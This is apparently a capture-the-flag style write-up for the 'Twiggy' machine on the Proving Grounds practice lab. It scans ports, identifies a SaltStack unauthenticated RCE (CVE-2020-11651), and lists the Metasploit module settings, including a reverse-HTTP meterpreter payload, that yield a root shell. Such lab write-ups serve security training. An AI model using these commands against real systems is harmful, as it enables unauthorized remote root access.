📔
Hack World
  • Welcome to Hack World
  • Writeup
    • Proving Grounds - Practice
      • AuthBy
      • Jacko
      • UT99
      • Sirol
      • Twiggy
      • Bratarina
      • Internal
      • Algernon
      • Metallus
      • Kevin
      • Helpdesk
      • Slort
      • Shenzi
      • Pelican
      • Walla
      • Zino
      • Nibbles
      • ZenPhoto
      • Wombo
    • CyberSecLabs
      • Lazy
      • Red
      • Shock
      • CMS
      • Debug
      • Leakage
      • Simple
      • Shares
      • Unroot
      • Outdated
      • Fuel
      • Pie
    • Vulnhub
      • Linux
        • BTRSys2.1
        • CyberSploit1
        • SunsetNoontide
    • HackTheBox
      • Cap
Powered by GitBook
On this page
  • nmap
  • Exploitation

Was this helpful?

  1. Writeup
  2. Proving Grounds - Practice

Twiggy

PreviousSirolNextBratarina

Last updated 3 years ago

Was this helpful?

nmap

mkdir nmap
sudo rustscan -a 192.168.234.62 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan     

ZeroMQ is running on port 4505 and 4506

After some Googlefu, I found this service is vulnerable to a Remote Code Execution (CVE-2020-11651)

Exploitation

Open msfconsole and search for cve-2020-11651

Let's choose #1 exploit, and set the necessary variables

use exploit/linux/misc/saltstack_salt_unauth_rce
set rhost <target>
set lhost tun0
set lport 4506
set srvhost tun0
set srvport 4506
set payload python/meterpreter/reverse_http
run

After running the exploit you should receive a root meterpreter.